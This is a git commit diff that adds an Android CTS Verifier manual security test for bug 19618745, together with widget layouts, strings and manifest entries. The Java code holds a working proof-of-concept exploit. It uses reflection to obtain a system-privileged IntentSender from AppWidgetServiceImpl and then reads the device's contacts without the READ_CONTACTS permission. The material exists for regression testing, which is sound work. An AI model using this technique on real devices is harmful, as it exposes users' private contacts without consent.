diff options
author | Upendra <pupendra@google.com> | 2016-05-24 04:28:46 -0700 |
---|---|---|
committer | Upendra <pupendra@google.com> | 2016-06-20 05:38:43 -0700 |
commit | 76bbeb5c1dbef0de00cf1cfea77f9f0b5d53b511 (patch) | |
tree | 7c1c1b77e0f660c05dd366f4b5b9376a8bbcb2a8 | |
parent | 531276e53b0ab7bdc8df8ba21f80a7824ee68ea2 (diff) | |
download | platform_cts-76bbeb5c1dbef0de00cf1cfea77f9f0b5d53b511.tar.gz platform_cts-76bbeb5c1dbef0de00cf1cfea77f9f0b5d53b511.tar.bz2 platform_cts-76bbeb5c1dbef0de00cf1cfea77f9f0b5d53b511.zip |
DO NOT MERGE: This test verifies AppWidgetServiceImpl creating IntentSender
with system privileges which reads contacts without required permission.
Bug: 19618745
Change-Id: I06c4152fe4feade918c6a931979cd4e82fa97b25
Signed-off-by: Upendra <pupendra@google.com>
-rw-r--r-- | apps/CtsVerifier/AndroidManifest.xml | 19 | ||||
-rw-r--r-- | apps/CtsVerifier/res/drawable/example_appwidget_preview.png | bin | 0 -> 3522 bytes | |||
-rw-r--r-- | apps/CtsVerifier/res/layout/activity_appwidgetbugreport.xml | 32 | ||||
-rw-r--r-- | apps/CtsVerifier/res/layout/activity_appwidgetserviceimpitest.xml | 112 | ||||
-rw-r--r-- | apps/CtsVerifier/res/layout/app_widget.xml | 37 | ||||
-rw-r--r-- | apps/CtsVerifier/res/values/strings.xml | 17 | ||||
-rw-r--r-- | apps/CtsVerifier/res/xml/app_widget_info.xml | 27 | ||||
-rw-r--r-- | apps/CtsVerifier/src/com/android/cts/verifier/security/AppWidget.java | 51 | ||||
-rw-r--r-- | apps/CtsVerifier/src/com/android/cts/verifier/security/AppWidgetServiceImplTest.java | 94 | ||||
-rw-r--r-- | apps/CtsVerifier/src/com/android/cts/verifier/security/WidgetConfigActivity.java | 54 |
10 files changed, 443 insertions, 0 deletions
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml index a3c78290833..90ca5de2ac1 100644 --- a/apps/CtsVerifier/AndroidManifest.xml +++ b/apps/CtsVerifier/AndroidManifest.xml @@ -365,6 +365,25 @@ android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" /> </activity> + <activity android:name=".security.AppWidgetServiceImplTest" + android:label="@string/appwidgettest_title" + android:configChanges="keyboardHidden|orientation|screenSize" > + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.cts.intent.category.MANUAL_TEST" /> + </intent-filter> + <meta-data android:name="test_category" android:value="@string/test_category_security" /> + </activity> + <activity android:name=".security.WidgetConfigActivity" android:exported="true" /> + <receiver android:name=".security.AppWidget" > + <intent-filter> + <action android:name="android.appwidget.action.APPWIDGET_UPDATE" /> + </intent-filter> + <meta-data + android:name="android.appwidget.provider" + android:resource="@xml/app_widget_info" /> + </receiver> + <activity android:name=".streamquality.StreamingVideoActivity" android:label="@string/streaming_video" android:configChanges="keyboardHidden|orientation|screenSize"> diff --git a/apps/CtsVerifier/res/drawable/example_appwidget_preview.png b/apps/CtsVerifier/res/drawable/example_appwidget_preview.png Binary files differnew file mode 100644 index 00000000000..894b069a490 --- /dev/null +++ b/apps/CtsVerifier/res/drawable/example_appwidget_preview.png diff --git a/apps/CtsVerifier/res/layout/activity_appwidgetbugreport.xml b/apps/CtsVerifier/res/layout/activity_appwidgetbugreport.xml new file mode 100644 index 00000000000..47e53950923 --- /dev/null +++ b/apps/CtsVerifier/res/layout/activity_appwidgetbugreport.xml @@ -0,0 +1,32 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- Copyright (C) 2016 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +--> + +<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:tools="http://schemas.android.com/tools" + android:layout_width="match_parent" + android:layout_height="match_parent" + android:padding="20dp" + tools:context=".WidgetConfigActivity"> + + <TextView + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_centerVertical="true" + android:layout_centerHorizontal="true" + android:id="@+id/bugreport" + style="@style/InstructionsSmallFont"/> + +</RelativeLayout> diff --git a/apps/CtsVerifier/res/layout/activity_appwidgetserviceimpitest.xml b/apps/CtsVerifier/res/layout/activity_appwidgetserviceimpitest.xml new file mode 100644 index 00000000000..d2d4655586b --- /dev/null +++ b/apps/CtsVerifier/res/layout/activity_appwidgetserviceimpitest.xml @@ -0,0 +1,112 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- Copyright (C) 2016 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +--> + +<RelativeLayout + xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:tools="http://schemas.android.com/tools" + android:layout_width="match_parent" + android:layout_height="match_parent" + android:padding="20dp"> + <ImageView + android:id="@+id/img1" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_alignParentStart="true" + android:layout_alignParentTop="true" + android:contentDescription="@string/pass_button_text" + android:padding="10dp" + android:src="@drawable/fs_indeterminate"/> + <TextView + android:id="@+id/instruction1" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:text="@string/appwidgettest_instruction1" + android:layout_toRightOf="@id/img1" + android:layout_alignParentEnd="true" + android:layout_alignParentTop="true" + style="@style/InstructionsSmallFont"/> + <ImageView + android:id="@+id/img2" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_alignParentStart="true" + android:contentDescription="@string/pass_button_text" + android:padding="10dp" + android:src="@drawable/fs_indeterminate" + android:layout_below="@id/instruction1"/> + <TextView + android:id="@+id/instruction2" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:text="@string/appwidgettest_instruction2" + android:layout_toRightOf="@id/img2" + android:layout_below="@id/instruction1" + android:layout_alignParentEnd="true" + style="@style/InstructionsSmallFont"/> + <TextView + android:id="@+id/point1" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:text="@string/appwidgettest_pnt1" + android:layout_toRightOf="@id/img2" + android:layout_below="@id/instruction2" + android:paddingTop="10dp" + android:paddingRight="2dp" + style="@style/InstructionsSmallFont"/> + <TextView + android:id="@+id/instruction3" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:text="@string/appwidgettest_failtest" + android:layout_toRightOf="@id/point1" + android:layout_below="@id/instruction2" + android:layout_alignParentEnd="true" + android:paddingTop="10dp" + android:paddingBottom="5dp" + style="@style/InstructionsSmallFont"/> + <TextView + android:id="@+id/point2" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:text="@string/appwidgettest_pnt2" + android:layout_toRightOf="@id/img2" + android:layout_below="@id/instruction3" + android:paddingRight="2dp" + style="@style/InstructionsSmallFont"/> + <TextView + android:id="@+id/instruction4" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:text="@string/appwidgettest_passtest" + android:layout_toRightOf="@id/point2" + android:layout_below="@id/instruction3" + android:layout_alignParentEnd="true" + android:paddingBottom="5dp" + style="@style/InstructionsSmallFont"/> + <Button + android:id="@+id/readContacts" + android:layout_width="match_parent" + android:layout_height="wrap_content" + android:layout_alignParentEnd="true" + android:text="@string/appwidgettest_start" + android:layout_below="@id/instruction4" + android:layout_toRightOf="@id/img2"/> + <include + android:layout_width="match_parent" + android:layout_height="wrap_content" + android:layout_alignParentBottom="true" + layout="@layout/pass_fail_buttons"/> +</RelativeLayout> diff --git a/apps/CtsVerifier/res/layout/app_widget.xml b/apps/CtsVerifier/res/layout/app_widget.xml new file mode 100644 index 00000000000..c03ddac164c --- /dev/null +++ b/apps/CtsVerifier/res/layout/app_widget.xml @@ -0,0 +1,37 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- Copyright (C) 2016 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +--> + +<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" + android:layout_width="match_parent" + android:layout_height="match_parent" + android:background="#09C" + android:padding="20dp"> + + <TextView + android:id="@+id/appwidget_text" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_centerHorizontal="true" + android:layout_centerVertical="true" + android:layout_margin="8dp" + android:background="#09C" + android:contentDescription="@string/appwidgettest_widget_text" + android:text="@string/appwidgettest_widget_text" + android:textColor="#ffffff" + android:textSize="24sp" + android:textStyle="bold|italic"/> + +</RelativeLayout> diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml index 37c2cf4c618..955e545b6fa 100644 --- a/apps/CtsVerifier/res/values/strings.xml +++ b/apps/CtsVerifier/res/values/strings.xml @@ -1579,4 +1579,21 @@ <string name="error_screen_pinning_did_not_start">Screen was not pinned.</string> <string name="error_screen_pinning_did_not_exit">Screen was not unpinned.</string> <string name="error_screen_pinning_couldnt_exit">Could not exit screen pinning through API.</string> + + <string name="appwidgettest_title">AppWidgetServiceImpl Test</string> + <string name="appwidgettest_info">This test verifies AppWidgetServiceImpl creating IntentSender + with system privileges which reads contacts without required permission</string> + <string name="appwidgettest_instruction1">Please add \"CTS Verifier\" widget (having + \"EXAMPLE\" as label) to your Home screen and then return to this app</string> + <string name="appwidgettest_ready">Winget successfully added to Home screen</string> + <string name="appwidgettest_instruction2">Click on \"Read Contacts\" to get available + contacts count in the device</string> + <string name="appwidgettest_widget_text">EXAMPLE</string> + <string name="appwidgettest_start">Read contacts</string> + <string name="appwidgettest_pnt1">1.</string> + <string name="appwidgettest_pnt2">2.</string> + <string name="appwidgettest_passtest">If nothing is happening after clicking on + \"Read Contacts\", Please Pass the test case</string> + <string name="appwidgettest_failtest">If a new activity is displayed, showing number of + contacts available in the device(You have # contacts), Please fail the test case</string> </resources> diff --git a/apps/CtsVerifier/res/xml/app_widget_info.xml b/apps/CtsVerifier/res/xml/app_widget_info.xml new file mode 100644 index 00000000000..45258214f69 --- /dev/null +++ b/apps/CtsVerifier/res/xml/app_widget_info.xml @@ -0,0 +1,27 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- Copyright (C) 2016 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +--> + +<appwidget-provider + xmlns:android="http://schemas.android.com/apk/res/android" + android:configure="com.android.cts.verifier.security.WidgetConfigActivity" + android:initialKeyguardLayout="@layout/app_widget" + android:initialLayout="@layout/app_widget" + android:minHeight="40dp" + android:minWidth="40dp" + android:previewImage="@drawable/example_appwidget_preview" + android:updatePeriodMillis="86400000" + android:widgetCategory="home_screen"> +</appwidget-provider> diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/AppWidget.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/AppWidget.java new file mode 100644 index 00000000000..7f339695b04 --- /dev/null +++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/AppWidget.java @@ -0,0 +1,51 @@ +/* + * Copyright (C) 2016 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.android.cts.verifier.security; + +import android.appwidget.AppWidgetManager; +import android.appwidget.AppWidgetProvider; +import android.content.Context; +import android.widget.RemoteViews; + +import com.android.cts.verifier.R; + +/** + * Implementation of App Widget functionality. + */ +public class AppWidget extends AppWidgetProvider { + + @Override + public void onUpdate(Context context, AppWidgetManager appWidgetManager, int[] appWidgetIds) { + // There may be multiple widgets active, so update all of them + for (int i = 0; i < appWidgetIds.length; i++) { + updateAppWidget(context, appWidgetManager, appWidgetIds[i]); + } + } + + static void updateAppWidget(Context context, AppWidgetManager appWidgetManager, int + appWidgetId) { + CharSequence widgetText = context.getString(R.string.appwidgettest_widget_text); + // Construct the RemoteViews object + RemoteViews views = new RemoteViews(context.getPackageName(), R.layout.app_widget); + views.setTextViewText(R.id.appwidget_text, widgetText); + + // Instruct the widget manager to update the widget + appWidgetManager.updateAppWidget(appWidgetId, views); + } +} + + diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/AppWidgetServiceImplTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/AppWidgetServiceImplTest.java new file mode 100644 index 00000000000..b5c1208a972 --- /dev/null +++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/AppWidgetServiceImplTest.java @@ -0,0 +1,94 @@ +/* + * Copyright (C) 2016 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.android.cts.verifier.security; + +import android.app.Activity; +import android.appwidget.AppWidgetManager; +import android.content.ComponentName; +import android.content.Intent; +import android.content.IntentSender; +import android.os.Bundle; +import android.os.IBinder; +import android.view.View; +import android.widget.Button; +import android.widget.TextView; + +import com.android.cts.verifier.PassFailButtons; +import com.android.cts.verifier.R; + +public class AppWidgetServiceImplTest extends PassFailButtons.Activity { + + private int mWidgetId; + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_appwidgetserviceimpitest); + setPassFailButtonClickListeners(); + setInfoResources(R.string.appwidgettest_title, R.string.appwidgettest_info, -1); + Button readContacts= (Button) findViewById(R.id.readContacts); + readContacts.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + try { + runWidgetConfig(); + } catch (Exception e) { + e.printStackTrace(); + } + } + }); + } + + @Override + protected void onResume() { + super.onResume(); + + AppWidgetManager widgetManager = (AppWidgetManager) getSystemService(APPWIDGET_SERVICE); + int[] appWidgetIds = + widgetManager.getAppWidgetIds(new ComponentName(this, AppWidget.class)); + boolean haveWidget = appWidgetIds.length != 0; + + if (haveWidget) { + mWidgetId = appWidgetIds[0]; + } + + ((TextView) findViewById(R.id.instruction1)).setText( + haveWidget ? R.string.appwidgettest_ready : R.string.appwidgettest_instruction1); + findViewById(R.id.readContacts).setEnabled(haveWidget); + } + + /** + * The actual exploit is in runWidgetConfig method below + */ + public void runWidgetConfig() throws Exception { + IBinder serviceBinder = + (IBinder) Class.forName("android.os.ServiceManager") + .getMethod("getService", String.class).invoke(null, "appwidget"); + + Object service = + Class.forName("com.android.internal.appwidget.IAppWidgetService$Stub") + .getMethod("asInterface", IBinder.class).invoke(null, serviceBinder); + + IntentSender intentSender = (IntentSender) service.getClass() + .getMethod("createAppWidgetConfigIntentSender", String.class, int.class, int.class) + .invoke(service, getPackageName(), + mWidgetId, Intent.FLAG_GRANT_READ_URI_PERMISSION); + + startIntentSender(intentSender, + new Intent().setData(WidgetConfigActivity.INTERESTING_URI), 0, 0, 0); + } +} diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/WidgetConfigActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/WidgetConfigActivity.java new file mode 100644 index 00000000000..895f3189f09 --- /dev/null +++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/WidgetConfigActivity.java @@ -0,0 +1,54 @@ +/* + * Copyright (C) 2016 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.android.cts.verifier.security; + +import android.app.Activity; +import android.content.Intent; +import android.database.Cursor; +import android.net.Uri; +import android.os.Bundle; +import android.provider.ContactsContract; +import android.widget.TextView; + +import com.android.cts.verifier.R; + +/** + * The actual exploit is in AppWidgetServiceImplTest, here we just use granted permission + */ +public class WidgetConfigActivity extends Activity { + + public static final Uri INTERESTING_URI = ContactsContract.Contacts.CONTENT_URI; + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + + Intent intent = getIntent(); + // Launcher opening config + if (intent.getData() == null) { + setResult(RESULT_OK); + finish(); + return; + } + + Cursor cursor = getContentResolver().query(INTERESTING_URI, null, null, null, null); + String message = "You have " + cursor.getCount() + " contacts."; + cursor.close(); + + setContentView(R.layout.activity_appwidgetbugreport); + ((TextView) findViewById(R.id.bugreport)).setText(message); + } +} |